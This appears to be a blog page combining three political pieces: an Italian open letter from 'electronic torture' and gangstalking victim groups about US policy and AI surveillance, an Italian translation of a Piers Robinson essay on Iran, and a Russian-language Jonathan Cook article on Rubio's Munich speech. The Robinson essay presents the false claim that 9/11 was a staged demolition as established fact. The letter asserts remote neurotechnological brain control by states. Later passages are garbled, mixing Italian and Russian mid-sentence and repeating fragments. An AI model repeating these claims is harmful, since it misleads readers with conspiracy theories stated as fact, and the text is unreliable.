Il sostegno e l'assistenza di alcuni stati europei agli USA nel loro attacco all'Iran sono solo un riflesso della loro dipendenza nel rapporto con gli USA. Nel 2024, hanno dimostrato questa dipendenza in modo molto conclusivo. L'UE aveva pianificato di vietare l'uso di neurotecnologie che consentono il controllo remoto del cervello umano, ma sotto la pressione degli Stati Uniti, abbandonò questa intenzione. Se l'UE non cambia il loro modo di pensare, la loro dipendenza crescerà ancora di più. La più sensata nell'UE è la Spagna, che ha compreso che gli USA stanno attaccando la sovranità degli stati in tutto il mondo e ha rifiutato di permettere agli USA di utilizzare basi militari condivise sul territorio spagnolo per violare il diritto internazionale attaccando l'Iran sovrano. La Spagna era consapevole che poteva essere la prossima in linea dopo la Groenlandia. Francia e Regno Unito hanno scelto di servire in Iran e negli Stati Uniti, che si stanno preparando a inghiottire l'Europa. Secondo la NATO Il Segretario Generale Mark Rutte, l'attacco all'Iran ha un ampio sostegno tra i Stati membri della NATO.

Nel cosiddetto mondo democratico, sta crescendo una lotta nascosta per il potere. L'Occidente sta quindi tornando a un ordine feudale in cui la lotta per il territorio e il potere era un elemento chiave della politica internazionale. Tuttavia, in questo modo si rinuncia automaticamente alla democrazia. Di conseguenza, non sorprende che negli Stati Uniti ci sia attualmente una lotta su se rimanere uno stato democratico o trasformarsi in un sovrano totalitario globale del mondo, utilizzando tecnologie di intelligenza artificiale per mantenere il proprio controllo.

Dario Amodei, fondatore e CEO di Anthropic, una società che sviluppa sistemi di intelligenza artificiale, ha scritto una lettera aperta al Dipartimento della Difesa degli Stati Uniti il 26 febbraio 2026. In esso, assicurava loro che la sua azienda non avrebbe fornito al Pentagono armi autonome capaci di uccidere persone senza supervisione umana o strumenti per la sorveglianza di massa degli americani, poiché ciò avrebbe minato i valori democratici della società americana. Ha dichiarato che

Due giorni dopo, Donald Trump scrisse sul suo Truth Social Network:

"i fanatici di sinistra di Anthropic hanno commesso un ERRORE DISASTROSO COSTRINGENDO il Dipartimento della Guerra e costringendoli a rispettare i loro Termini di Servizio invece della nostra Costituzione" e Ordinato a tutte le agenzie federali di smettere di utilizzare prodotti di Anthropic. Cinque giorni dopo, il Dipartimento della Guerra degli Stati Uniti ha terminato il contratto con Anthropic. Il Segretario alla Guerra Pete Hegseth accusò l'azienda di compromettendo la sicurezza nazionale americana, e un tentativo di "ottenere il potere di veto sulle decisioni operative delle forze armate statunitensi".

Già a febbraio 28, 2026, Sam Altman, il CEO della società rivale OpenAI, ha scritto sulla piattaforma X che la sua azienda aveva Ha firmato un contratto con il Dipartimento della Guerra in cui OpenAI che Anthropic aveva richiesto riguardo alla sorveglianza globale degli americani e all'uccisione di persone con armi autonome senza supervisione umana. Tuttavia, un commento è apparso sulla piattaforma X da il Vice Segretario di Stato degli Stati Uniti per l'Assistenza Estera, gli Affari Umanitari e la Libertà Religiosa, affermando che Sam Altman aveva accettato un compromesso che Dario Amadei aveva precedentemente rifiutato. Questo compromesso stabilisce che il contratto includa il Istituzione di un gruppo di lavoro presso il Dipartimento della Difesa, composto da esperti di intelligenza artificiale di primo piano del Dipartimento della Difesa e esperti di spicco di aziende coinvolte nello sviluppo dell'IA, inclusi esperti di OpenAI. Questo gruppo si impegnerà in un dialogo sulle capacità dell'intelligenza artificiale, incluso il suo potenziale di violare la privacy dei cittadini americani. Dopo la forte reazione di Donald Trump e Pete Hegseth all'opposizione di Dario Amodei alla sorveglianza globale degli americani, era improbabile che il governo degli Stati Uniti cambiasse rapidamente posizione e smettesse di perseguire la sorveglianza globale dei cittadini americani—un passo cruciale sulla strada verso la creazione di uno stato totalitario.

Leader insurrezionale generato al computer

Nel 2024 le Nazioni Unite hanno scritto:

"Le neurotecnologie mettono in discussione le fondamenta del sistema dei diritti umani e possono essere utilizzate in modi che possono erodere la democrazia e lo stato di diritto... Le neurotecnologie possono essere utilizzate per interferire e manipolare gli individui. Attraverso dispositivi di neuromodulazione, i processi fisici e mentali della sfera interna di una persona possono essere alterati in modi simili al 'lavaggio del cervello'... Possono anche interferire con il diritto di prendere scelte di vita autonome senza interferenze o intimidazioni esterne (privacy decisionale), oltre a compromettere la privacy informativa attraverso usi non autorizzati delle informazioni personali raccolte... Inoltre, alcuni tipi di neurotecnologie possono influenzare la salute mentale e provocare alterazioni nella personalità, nell'equilibrio psicologico o nel senso di identità di un individuo... Come le strategie di 'neuromarketing' hanno già dimostrato, possono essere utilizzate con successo per condizionare la formazione di opinioni, oltre che influenzare i processi decisionali di un individuo. Questo permette, a un Estensione senza precedenti, manipolazione comportamentale degli individui (p. 8-11) da parte di attori privati, come ingegneri marketing o Attivisti politici".

Le Nazioni Unite, probabilmente per cautela, hanno evitato di affermare che queste tecnologie potrebbero essere utilizzate anche dalle autorità statali per controllare a distanza i pensieri e le decisioni dei cittadini. Dopotutto, l'esistenza dell'ONU dipende dai finanziamenti che riceve dai singoli governi.

Il governo degli Stati Uniti, nel tentativo di imporre una sorveglianza globale ai cittadini americani, ha chiarito di voler a stabilire uno stato totalitario. Allo stesso tempo, la sua politica estera convince il mondo che il suo obiettivo è la dominazione globale. Con le attuali azioni degli Stati Uniti nel mondo, la speranza che la democrazia, la sovranità degli stati e la libertà di pensiero vengano preservate si fa sempre più sottile.

Harald Brems per Schutzschild E.v. https://schutzschild-ev.de (Germania)

Peter Mooring per la Fondazione STOPEG (STOP Armi elettroniche e Gangstalking) https://www.stopeg.com/ (Paesi Bassi)

Melanie Vritschan per la Coalizione Internazionale contro la Tortura Elettronica e la Robotizzazione degli Esseri Viventi (ICATOR) Avenue Paul Hymans 120/47, B – 1200 Bruxelles https://icator.be (Belgio)

Paolo Dorigo per ACOFOINMENEF (Associazione contro tutte le forme di interferenza e controllo mentale e neurofisiologico) https://www.associazionevittimearmielettroniche-mentali.org/testohome.htm (Italia)

Mikael Eleman for Föreningen för hjärnans integritet i Sverige (Società per l'integrità cerebrale in Svezia) https://www.ratsit.se/8024512561-FORENINGEN_FOR_HJARNANS_INTEGRITET_I_SVERIGE (Svezia)

Zofia Filipiak for Stowarzyszenie STOP Zorganizowanym Elektronicznym Torturom https://stopzet.org/ (Polonia)

Frank Allen per The Allen Institute for Human Rights (Stati Uniti d'America) PO BOX 193, NORTH PEMBROKE, MA. https://aihr.foundation/ (USA)

Galina Kurdina per l'Organizzazione delle Vittime delle Armi Psicotronice (Controllo Mentale) https://organizationofmindcontrolvictims.com/ (Canada)

Mark Williams per i sopravvissuti di mira dal Regno Unito TargetedUK per individui e sopravvissuti di mira (Gran Bretagna)

Paolo Fiora per LES, Londra End Stalking Paolo Fiora / LES, London End Stalking Live Stream – YouTube (Gran Bretagna)

Derrick Robinson per PACT International https://pactsntl.org/ (USA)

La guerra contro l'Iran è solo una delle tante in programma ma non lúltima.

2026-03-15T10:41:00.001-07:00

I pubblici occidentali non dovrebbero illudersi su come sia arrivata questa situazione. I conflitti in corso sono la conseguenza diretta dei nostri governi che persegueno politiche di guerra e, per farlo, si impegnano in inganni gravi, tra cui 9/11.

Di Dr. Piers Robinson | Marzo 11, 2026

Nota dell'editore: Questo articolo è stato pubblicato originariamente il 14 giugno 2025, due giorni dopo l'inizio della Guerra dei Dodici Giorni. Rimane accurato e rilevante oggi come allora, collocando il conflitto attuale nel contesto più ampio degli sforzi di Stati Uniti e Israele per affermare l'egemonia globale e regionale e mostrando come gli eventi dell'11 settembre 2001 siano stati costruiti per permettere la perseguizione di quell'agenda.

C'è un'inevitabilità cupa riguardo alla guerra in sviluppo volta a rovesciare il governo iraniano. Potrebbe non sembrare così per i milioni di occidentali che sono stati indottrinati tramite la propaganda a credere che tutti gli eventi nel mondo non abbiano nulla a che fare con "noi". Sospetto che i nostri media tradizionali (precedentemente noti come media mainstream o aziendali) presenteranno ingenuamente gli eventi attuali come una sorta di azione militare ragionevole volta a scoraggiare la capacità nucleare iraniana. Ovviamente si trattava sempre di molto più di questo e, cosa più importante, le conflagrazioni in corso sono il risultato diretto delle "nostre" macchinazioni geopolitiche.

Quello che segue è un antidoto alla propaganda, e uno che potrebbe cadere su menti più aperte ora che le dure realtà geopolitiche della belligeranza imperiale occidentale sono tornate sotto i riflettori.

Negli anni '90, rappresentati dalla vittoria percepita sull'Unione Sovietica, i blocchi di potere all'interno dell'Occidente cercarono di sfruttare il suo vantaggio militare per rafforzare l'egemonia occidentale. L'ex Comandante Supremo Alleato in Europa della NATO, Wesley Clark, ha ricordato una conversazione con Paul Wolfowitz del 1991 — subito dopo che le forze statunitensi avevano sconfitto l'Iraq nella prima Guerra del Golfo:

E lui ha detto, ma una cosa che abbiamo imparato, è che abbiamo imparato che possiamo usare il nostro esercito nella regione del Medio Oriente e i sovietici non ci fermeranno. Disse, e abbiamo circa cinque o dieci anni per ripulire quei regimi clienti sovietici; Siria, Iran, Iraq, – prima che arrivi la prossima grande superpotenza a sfidarci . . . (citata in Mondoweiss).

La pianificazione e l'organizzazione per una nuova ondata di belligeranza imperiale si manifestarono nel Project for a New American Century (PNAC), una coorte di estremisti ideologici determinati a sfruttare le capacità militari statunitensi per assicurarsi il dominio strategico nel XXI secolo (vedi ad esempio la sezione di Scott La strada verso 9/11 e quella di Griffin Il Nuovo Pearl Harbor).

Nel 1996, il documento strategico intitolato "Una rottura pulita: una strategia per garantire la sicurezza del regno", scritto da diversi membri del PNAC e pubblicato dall'Istituto per gli Studi Strategici e Politici Avanzati per il nuovo Primo Ministro israeliano Benjamin Netanyahu, raccomandava una posizione aggressiva verso Siria e Iran e allineare più strettamente le politiche di sicurezza statunitensi e israeliane, in particolare per quanto riguarda l'azione preventiva.

Nel 1998, Philip Zelikow, che in seguito fece parte del team di transizione del presidente George W. Bush e del Foreign Intelligence Advisory Board (PFIAB) e poi come direttore esecutivo scelto personalmente della Commissione 9/11, co-autore del sospettoso e lungimirante 1998 Affari Esteri Carta descrivendo un possibile atto di terrorismo "catastrofico" che avrebbe creato un "evento spartiacque nella storia americana." L'articolo di Zelikov era forse una roadmap concettuale per i neoconservatori che pianificavano il prossimo cambiamento di paradigma lontano da una strategia di contenimento? Nel 2000, il rapporto PNAC Ricostruzione delle difese americane avvertì (un anno prima dell'evento del 2001) che le necessarie trasformazioni nelle capacità statunitensi sarebbero probabilmente state lente "in assenza di qualche evento catastrofico e catalizzatore – come un nuovo Pearl Harbor."

Come se fosse stato un segnale, l'11 settembre ha dato proprio questo, con quello che è stato presentato come un attacco terroristico sfacciato e sfacciato compiuto da fondamentalisti islamici. Il pubblico fu invitato ad accettare la narrazione secondo cui un gruppo di giovani musulmani (piloti inesperti) di un gruppo terroristico chiamato Al Qaeda avrebbe preso il controllo di quattro aerei statunitensi e li avrebbe usati per condurre attacchi kamikaze contro gli edifici del World Trade Center (WTC) a New York e al Pentagono, facendo crollare entrambe le torri del WTC (progettato per resistere a tali impatti) e una terza torre, l'Edificio 7, che non fu colpita da un aereo.

Tra scienziati razionali, studiosi e altri cittadini preoccupati che chiedono prove empiriche per affermazioni di verità, non c'è dubbio che l'11 settembre sia stato un evento di falsa bandiera orchestrato da elementi all'interno del cosiddetto "deep state" statunitense, in collaborazione con una serie di alleati che probabilmente includono Arabia Saudita, Emirati Arabi Uniti, Kuwait, Gran Bretagna e Israele. Un Esaustivo corpus di opere negli ultimi vent'anni e più di anni ha chiarito la palesemente falsità della narrazione ufficiale e ha evidenziato, in particolare, prove schiaccianti che confermano che gli edifici di New York non potrebbero essere crollati a causa degli impatti di due aerei di linea e che in effetti lo sono stati, demolita deliberatamente. Oltre all'impossibilità che tre grattacieli di New York City avessero potuto sfidare ciascuno le leggi del movimento fisico descritte da Isaac Newton, i cittadini citano le montagne di Testimonianze testimoniali Che contraddicono il rapporto ufficiale e altri inaccettabili assurdità.

Approfittando dello shock e dell'espansione creati dall'evento dell'11 settembre, gli Stati Uniti e i loro alleati attuarono immediatamente la loro politica di guerra di "cambio di regime". Ancor prima che la giornata finisse, il governo degli Stati Uniti stava dichiarando una "guerra al terrorismo" e aveva indicato paesi come Iraq, Afghanistan, Libia, Sudan e Iran come responsabili di quanto accaduto a New York e al Pentagono (vedi Ryan e Robinson, 2024). Wesley Clark è famoso rivelati in 2007 dopo essere stato informato durante una visita al Pentagono pochi giorni dopo l'11 settembre che un piano per attaccare sette paesi in cinque anni era in atto. Ha identificato Iraq, Siria, Libano, Libia, Somalia, Sudan e Iran come paesi prese di mira per il "cambio di regime". Colonnello Lawrence Wilkerson (ex capo di stato maggiore del Segretario di Stato Colin Powell) afferma in modo inequivocabile che questi piani per attaccare più paesi erano già in atto prima dell'11 settembre. Documenti pubblicati nell'ambito dell'inchiesta Chilcot del Regno Unito hanno rivelato comunicazioni tra il primo ministro britannico Tony Blair e il presidente statunitense George W. Bush poco dopo l'11 settembre, in cui discutevano le fasi uno e due di una "guerra al terrorismo", incluso quando "colpire" Iran, Siria e Iraq (vedi Robinson, 2017).

Avviato dal Grande bugia su quello che è successo il 9/11, Le guerre successive furono accompagnate da un modello familiare di campagne di propaganda e inganni strategici. Una falsa valutazione dell'intelligence, il Rapporto Taylor, fu consegnato ai paesi della NATO poche settimane dopo l'11 settembre per legittimare l'attacco all'Afghanistan. L'attacco seguì rapidamente e, nei mesi successivi, portò al rovesciamento dei talebani e all'inizio della guerra ventennale in Afghanistan. Il progetto Costs of War della Brown University stima il bilancio delle vittime, in modo conservativo, intorno alla 176,000.

Nel 2002/3, gli obiettivi erano puntati ad attaccare l'Iraq e il ormai famigerato menzogne riguardanti presunte armi di distruzione di massa (WMD) furono usate per vendere quell'invasione ai pubblici occidentali. Tali armi non sono mai esistite e si stima che il conflitto in Iraq sia stato ucciso a almeno 300.000 persone.

Nel 2011 è emersa l'opportunità di attaccare altre due nazioni concorrenti, Libia e Siria. Nel primo caso, la NATO attaccò le forze libiche sotto l'egida ingannevole di un "intervento umanitario", basato in parte su propaganda ingannevole che sosteneva che le forze libiche stessero attaccando civili. Il governo di Muammar Gheddafi fu rovesciato e il paese precipitò in un lungo periodo di conflitto e caos. La guerra contro la Siria è durata più tempo. La distruzione di quel paese durata 14 anni, che ha coinvolto la più grande operazione segreta della CIA mai realizzata, Timber Sycamore, in collaborazione con un'alleanza di belligeranti — Regno Unito, Francia, Israele, Turchia, Qatar, Arabia Saudita — ha infine portato al rovesciamento del governo Assad nel 2024 e all'installazione di una forza legata ad al Qaeda guidata da Abu Mohammed al-Julani. Per tutto il tempo, i pubblici occidentali sono stati alimentati da menzogne su Uso di armi chimiche siriane E, almeno durante gli anni di conflitto, 269,000 Persone sono stati uccisi. L'Occidente e i suoi alleati hanno permesso l'ascesa di gruppi brutali ed estremisti come il Fronte Al-Nusra e l'ISIS. Durante questo periodo la guerra contro lo Yemen, condotta in gran parte dall'alleato regionale dell'Occidente, l'Arabia Saudita, Ha ucciso più di 100.000 persone.

Non va dimenticato che, sebbene la proiezione di potere tramite la guerra abbia influenzato la vita e il destino dei popoli dell'Asia occidentale, la strategia parallela degli Stati Uniti di aumentare la pressione sul loro ex avversario della Guerra Fredda, in gran parte attraverso l'ingiustificata espansione della NATO verso Est e la guerra per procura in Ucraina, ha portato l'Occidente sull'orlo della guerra con la Federazione Russa.

E ora, questa politica bellicosa di distruzione creativa, progettata per tenere a bada la realtà di un mondo in cambiamento in cui l'Occidente non domina più, è forse giunta al suo punto finale, la distruzione del governo iraniano esistente. Il discorso di prevenire la capacità nucleare iraniana è semplicemente un'altra variante degli inganni usati su Iraq (armi di distruzione di massa) e Siria (armi chimiche). La preoccupazione non è se l'Iran abbia la bomba, ma la preoccupazione è rimuovere un governo che si oppone alle ambizioni egemoniche regionali di Israele e agli obiettivi egemonici globali dell'Occidente.

Non si sa dove andrà tutto questo a finire. Il governo iraniano resisterà o cadrà? Come risponderanno i principali attori globali, in particolare Russia e Cina? Israele resisterà o cadrà? Ci troviamo di fronte a una guerra regionale o a una Terza Guerra Mondiale? L'attacco genocida di Israele contro il popolo palestinese continuerà?

Qualunque cosa accada, i pubblici occidentali non dovrebbero illudersi su come questa situazione sia arrivata. I conflitti sono la conseguenza diretta dei nostri governi e dei loro complessi militari industriali associati che perseguissero politiche di guerra e, per farlo, si impegnassero in azioni segrete e grandi inganni, tra cui la falsa bandiera dell'11 settembre e l'utilizzo di gruppi estremisti brutali in paesi come la Siria. Il bilancio delle vittime di questi conflitti si avvicina ben a milioni mentre la miseria è incalcolabile.

Propaganda, inganni e menzogne, tutti in nome della guerra, stanno diventando saldamente l'eredità di separazione dell'impero occidentale.

Рубио говорит о жестоком западном колониализме – Европа аплодирует

2026-02-21T03:38:00.001-08:00

Рубио попытался успокоить их, пригласив Европу присоединиться к Вашингтону в возрождении западной империи. Это предложение было чистым обманом.

Это не совместный проект, как им следовало бы понять, когда Трамп ввел пошлины как средство принуждения к еще большему порабощению; когда он отказался от поддержки Украины, их провозглашенного бастиона против «российского империализма»; и когда он потребовал права собственности на Гренландию.

Эти «предательства» послужили поводом для выступления премьер-министра Канады Марка Карни на Всемирном экономическом форуме в Давосе в прошлом месяце.

Там он предупредил, что существовавший 80 лет порядок, основанный на правилах, является «приятной фикцией», прикрытием, позволяющим союзникам США извлекать выгоду из американской гегемонии «за счет общественных благ, открытых морских путей, стабильной финансовой системы, коллективной безопасности и поддержки механизмов разрешения споров».

Именно поэтому союзники Вашингтона вступили в сговор с целью обмана: «Мы знали, что история о международном порядке, основанном на правилах, частично ложна, что сильнейшие будут делать исключения, когда это будет удобно, что торговые правила применяются асимметрично. И мы знали, что международное право применяется с разной степенью строгости в зависимости от личности обвиняемого или жертвы».

По словам Карни, пришло время перестать «жить во лжи».

Многие предположили, что канадский лидер от имени технократических союзников в Европе, таких как премьер-министр Великобритании Кир Стармер и премьер-министр Франции Эммануэль Макрон, выражает новую приверженность прозрачности и честности в противовес нарушениям законов США за рубежом.

Это совершенно не соответствует действительности, о чем свидетельствует продолжающееся соучастие Карни, Стармера и Макрона в геноциде в Газе и их молчание по поводу угроз Трампа начать агрессивную войну против Ирана.

Цель речи Карни в Давосе была совершенно иной. Честность самого Трампа – его открытое презрение к международному праву и энтузиазм по отношению к старомодному империализму – грозит разоблачить их лицемерие в стремлении воспользоваться поддержкой США.

Они не изменили своих взглядов. Они просто хотят, чтобы Трамп перестал разрушать фасад, который они сами же и создали, чтобы скрыть и приукрасить свое соучастие в колониализме США.

Рубио в очередной раз обрушил на них эту ложь в Мюнхене. Когда он заявил о возвращении к откровенному империализму, основанному на принципе «сила — это право», конференция разразилась аплодисментами.

Урсула фон дер Лейен, главный технократ Европейской комиссии, заявила, что речь Рубио ее «очень успокоила», назвав его «хорошим другом».

Ядерный Армагеддон

Самым большим уловкой в высказываниях Рубио стало умалчивание им истинной причины, по которой Запад отказался от открытого колониализма после Второй мировой войны и создал международные институты, такие как Организация Объединенных Наций.

Это не было признанием поражения или упадка со стороны США, а скорее осознанием того, что с быстрым развитием ядерных арсеналов сверхдержавами после войны система, способная смягчать самые худшие проявления злоупотребления властью, стала необходимостью.

Это была единственная надежда предотвратить безрассудную колониальную конкуренцию и конфронтацию, которые могли спровоцировать Третью мировую войну, быстро перерастающую в ядерный апокалипсис.

За последние восемь десятилетий ничего не изменилось.

Россия и Китай по-прежнему обладают крупными ядерными арсеналами, а Москва теперь располагает гиперзвуковыми ракетами, способными нести эти боеголовки с беспрецедентной скоростью.

До сих пор не существует надежного механизма, предотвращающего быстрое перерастание недоразумений во взаимные атаки.

С 1940-х годов человеческая природа не изменилась – изменилась лишь высокомерие сверхдержавы, решившей помешать таким великим державам, как Китай или Россия, когда-либо свергнуть её с имперского трона.

Угроза ядерного уничтожения не уменьшилась. Она экспоненциально возросла, поскольку ограничения глобальных ресурсов — тех, которые необходимы для поддержания западного потребления и бесконечного «экономического роста» — оказывают все большее давление на США, заставляя их отказаться от маски защитника высших ценностей.

Рубио использовал мюнхенскую конференцию, чтобы обнажить новую реальность: Вашингтон больше не будет ограничиваться пустыми обещаниями быть «хорошим парнем» или соблюдать какие-либо «красные линии».

США полны решимости подавить любое сопротивление своему неизменному статусу имперского властолюбия – даже если это означает уничтожение всего сущего и всех нас в процессе.

По словам Карни, пришло время перестать «жить во лжи».

Ядерный Армагеддон

За последние восемь десятилетий ничего не изменилось.

По словам Карни, пришло время перестать «жить во лжи».

Ядерный Армагеддон

За последние восемь десятилетий ничего не изменилось.

Государственный секретарь США Марко Рубио Дискуссия на конференции по безопасности Монако в очень хорошем состоянии, где есть еще одна озабоченность намерениями части администрации Трампа.

L'obiettivo esplicito della politica estera statunitense, Secondo Rubio, и Resurrezione l'ordine coloniale Occidentale che Persistette per ca 5 secoli fino alla Seconda Guerra Mondiale.

Колониализм старой закалки, дорога белого человека, это торнато без объяснения причин.

Нелепое повествование Рубио, европейская колонизация большой части пианеты, ступор и саккеджио делле иска, фуроно ун'эпока славной эпохи исследований, инноваций и западного творчества. L'Occidente Portò una Civiltà «Superiore» ai popoli arretrati mantenendo l'ordine globale.

Riflettendo sull'epoca precente al 1945, lui osservato : «L'Occidente si epa espanso – и ваши миссионеры, и ваши пеллегрины, и ваши солдаты, и ваши исследователи, которые используют иск для привлечения океанов, insediarsi на новых континентах, обустройства обширной империи, которую вы estendevano in tutto il mondo».

Quella rotta era andata al contrario 80 лет назад: «Я grandi Empire Occidentali Erano Entrati in un Declino Terminale, Accelerato da Rivoluzioni Comuniste senza Dio e da Rivolte Anticoloniali che avrebbero trasformato il Mondo e avrebbero steso il martello e la falce rossa su обширной территории делла» Mappa Negli Anni A Venire».

Во-вторых, Рубио, когда он ускорился, чтобы определить «международное направление», стабилизировался в национальном объединении в немедленный последовательный период во время войны. Nella richerca di quello che definì sprezzantemente «un mondo perfetto», queste nuove leggi Universali – quelle che trattavano tutti gli esseri umani com uguali – servivano only a ostacolare il colonialismo occidentale.

Рубио умолчал о том, что цель международного права состоит в предотвращении возвращения к ужасам Второй мировой войны: истреблению мирного населения в лагерях смерти и бомбардировкам европейских и японских городов.

В своей речи Рубио предложил Европе возможность присоединиться к администрации Трампа в возрождении «эпохи господства Запада», чтобы «обновить величайшую цивилизацию в истории человечества».

«Нам нужен обновленный альянс, который признает, что причиной проблем наших обществ является не просто набор неудачных политических решений, а состояние безнадежности и самоуспокоенности. Альянс – альянс, который нам нужен, – это альянс, не парализованный страхом – страхом перед изменением климата, страхом перед войной, страхом перед технологиями», – сказал он.

Нет мира, нет порядка

Удивительно, но на протяжении всей своей речи Рубио встречали бурными аплодисментами присутствующие главы государств, политики, дипломаты и военные. Сообщается, что половина присутствующих устроила ему овацию стоя .

Они, казалось, были захвачены триумфалистским описанием империи, данным Рубио, совершенно не обращая внимания на хорошо задокументированные реалии «западного господства» – в первую очередь, на его жестокую колониальную тиранию, геноцид в промышленных масштабах и массовое порабощение коренного населения.

Это были не просто досадные эпизоды или ошибки в имперском прошлом Запада. Они были его неотъемлемой частью. Это были принудительные средства, с помощью которых колонизированные народы лишались своих активов и труда для финансирования империи.

Он также, по-видимому, не замечал еще одной негативной стороны колониального Запада, которая была слишком очевидна на протяжении этих пяти столетий. Безжалостная конкуренция между европейскими государствами, стремящимися первыми разграбить ресурсы стран Глобального Юга, приводила к бесконечным войнам, в которых погибали как европейцы, так и их колонизированные народы.

Империя не обеспечивала порядка, не говоря уже о мире. Колониализм был основан на систематическом воровстве, а, как говорится, среди воров редко бывает честь.

В мире, где царила жестокая конкуренция, существовавшая до принятия международного права, каждая колониальная держава стремилась к собственному продвижению против своих соперников. Это привело к двум ужасным войнам в первой половине XX века, которые опустошили саму Европу.

Поскольку Рубио не понимает прошлого, его видение будущего неизбежно также ошибочно. Любая попытка администрации Трампа восстановить открытое колониальное господство Запада окажется самоубийственной. Как мы увидим, такое предприятие обернется гибелью для всех нас. Фактически, мы, возможно, уже значительно продвинулись по этому пути.

Имперские мышцы

В мышлении Рубио и администрации Трампа есть ряд вопиющих недостатков.

Во-первых, утверждение Рубио о том, что Запад отказался от колониализма около 80 лет назад, совершенно неверно. В конце Второй мировой войны физически израненные и экономически истощенные колониальные державы Европы передали эстафету империи США. Вашингтон не покончил с колониализмом. Он рационализировал и упорядочил его.

Вашингтон продолжил европейскую традицию свержения националистических лидеров и назначения на их место слабых, послушных марионеток.

Она также разместила по всему миру сотни американских военных баз для демонстрации жесткой силы, одновременно используя новые глобализационные технологии для демонстрации мягкой силы. Экономические «пряники» и «кнуты», применяемые в основном вне поля зрения Всемирного банка и Международного валютного фонда, стимулировали подчинение ее диктату со стороны незападных лидеров.

Свобода маневра Вашингтона была ограничена главным образом наличием конкурирующей державы в лице Советского Союза, который вооружал и субсидировал своих собственных клиентов. Холодная война относительно сдерживала американскую империю. Это не был «упадок», как утверждает Рубио. Это был простой прагматизм: избегание конфронтации в ядерную эпоху, которая, из-за одной ошибки, могла привести к глобальному уничтожению.

За последние 30 лет, после распада Советского Союза, США стали еще более агрессивно демонстрировать свою имперскую мощь: в бывшей Югославии, в Ираке, в Афганистане, снова в Ираке, в Ливии, в Сирии, а теперь – при поддержке своего конечного клиента, Израиля – еще шире по богатому нефтью Ближнему Востоку, в Палестине, Ливане и Иране.

Задолго до первого президентского срока Трампа основные внешнеполитические цели Вашингтона, поддерживаемые обеими партиями, включали в себя ограничение влияния России, главным образом путем ползучей колонизации бывших советских республик, и угрозы Китаю из-за Тайваня.

В типичной для Трампа манере Рубио просто подтвердил то, что и так подразумевалось. США являются имперской сверхдержавой с 1940-х годов и становятся все более конфронтационной в мире с сокращающимися ресурсами, где они пользуются преимуществом единственной военной сверхдержавы.

Рубио, безусловно, более честен, чем его предшественники, в отношении многолетней траектории внешней политики США.

Шоу ужасов

Есть веская причина, по которой « безбожные коммунисты » и их одержимые Богом преемники развернули «антиколониальные восстания», которые в конечном итоге не удалось подавить западной империи.

Правящая колониальная элита Запада на протяжении веков превращала жизнь в странах Глобального Юга в настоящий кошмар, будь то жестокая тирания, массовые убийства или работорговля.

Коренное население отчаянно жаждало освобождения от навязанного Западом «порядка», поэтому после Второй мировой войны многие обратились за поддержкой к коммунистическому Советскому Союзу, а не к США.

В последних зависимых от западных колониальных поселенцев форпостах – Южной Африке времен апартеида до 1994 года и современном Израиле времен апартеида – происходили продолжительные массовые восстания угнетенных ими народов.

Жизнь под властью белого меньшинства в Южной Африке была опасной и душераздирающей, если ты не был белым, точно так же, как жизнь под системой еврейского превосходства в Израиле и оккупированной Палестине опасна и душераздирающа, если ты не еврей.

Следует также отметить, что оба этих режима апартеида породили глобальные движения солидарности.

Большинство людей – даже жители Запада – понимают, что угнетение другого народа, отрицание его человеческого достоинства и права на равенство, является глубоко несправедливым и аморальным. Это не изменится только потому, что Вашингтон скептически относится к колониализму и апартеиду.

Урок истории заключается в том, что любое усиление американского империализма администрацией Трампа вызовет усиление сопротивления. Это должно быть ясно любому, кто не дремал последние 20 лет.

Вымогательство в Украине

Президент России Владимир Путин подвергся резкой критике на Западе, когда в начале 2022 года изложил геостратегическое обоснование своего вторжения в Украину. Словенский философ Славой Жижек, например, обвинил Путина в том, что тот воображает себя Петром Великим и пытается восстановить имперское прошлое России.

Жижек привёл в качестве доказательства речь Путина, произнесённую перед группой молодых предпринимателей в Москве в июне 2022 года, через несколько месяцев после вторжения. Путин заявил : «Любая страна, любой народ, любая этническая группа должны обеспечивать свой суверенитет. Потому что нет промежуточного государства, нет промежуточного: либо страна суверенна, либо она колония, независимо от того, как называются колонии».

Смысл слов Путина должен был быть очевиден в тот момент, учитывая, что на протяжении более двух десятилетий ряд администраций в Вашингтоне вовлекали бывшие советские республики в НАТО — военный альянс американской империи — и размещали военные базы все ближе к Москве.

Обещание НАТО, данное в 2008 году, разрешить Украине присоединиться к альянсу в будущем, может быть истолковано российским руководством только одним способом: как угроза . В случае его выполнения ядерные боеголовки НАТО окажутся в нескольких минутах от Кремля.

Путин был полон решимости сохранить российский суверенитет и избежать превращения в очередную «промежуточную» колонию американской империи, как это чуть не произошло при его пьяном предшественнике Борисе Ельцине. Российский лидер отверг европейскую модель, предполагающую передачу Вашингтону ключей от своих ресурсов, экономики и оборонных систем.

Несомненно, Путин с самодовольным удовлетворением отметил прошлогодний шантаж Украины со стороны Трампа, когда президента Владимира Зеленского вынудили подписать соглашение о передаче минеральных богатств страны в обмен на защиту со стороны США. Это стало прекрасной иллюстрацией точки зрения Путина о том, что в мире грязной силовой политики нет «промежуточных» государств: ты либо суверен, либо колония более сильной державы.

Именно эта логика подтолкнула Россию к решению вторгнуться в Украину. Если тогда это было трудно понять, то сейчас, в свете речи Рубио, это должно стать более понятным.

Учитывая имперские амбиции Вашингтона, Украина неизбежно попала бы в геостратегическую орбиту США, став еще одним колониальным форпостом их военной машины, если бы Россия сначала не заставила своего соседа войти в свою собственную геостратегическую орбиту.

Новая норма в Газе

Администрация Трампа ясно демонстрирует свою реальную политику: геноцидное уничтожение Газы стало новой нормой, как и похищение мировых лидеров, таких как Николас Мадуро из Венесуэлы.

Европейские государства все больше обеспокоены бескомпромиссным империализмом Трампа и тем, что это может для них означать. Угроза захвата Гренландии у Дании стала тревожным сигналом; по сообщениям, она доминировала в дискуссиях на Мюнхенской конференции.

В соответствии с предупреждением Путина, сделанным четыре года назад, европейские лидеры в спешке обдумывают, как они могли бы восстановить определенную степень суверенитета, чтобы остановить необратимую колонизацию со стороны США.

По словам Карни, пришло время перестать «жить во лжи».

Ядерный Армагеддон

За последние восемь десятилетий ничего не изменилось.

Джонатан Кук — автор трёх книг об израильско-палестинском конфликте и лауреат специальной премии Марты Геллхорн в области журналистики. Его веб-сайт и блог можно найти по адресу http://www.jonathan-cook.net

Soggiogo

Plebei e Patrizi

Ukraine: America’s Enduring Proxy War on Russia

MELONI PRIVATIZZA LA PREVIDENZA QUASI SOTTO SILENZIOIL GOVERNO MELONI CONSEGNA LE RISORSE DELLA PREVIDENZA ITALIANA A BLACKROCK.

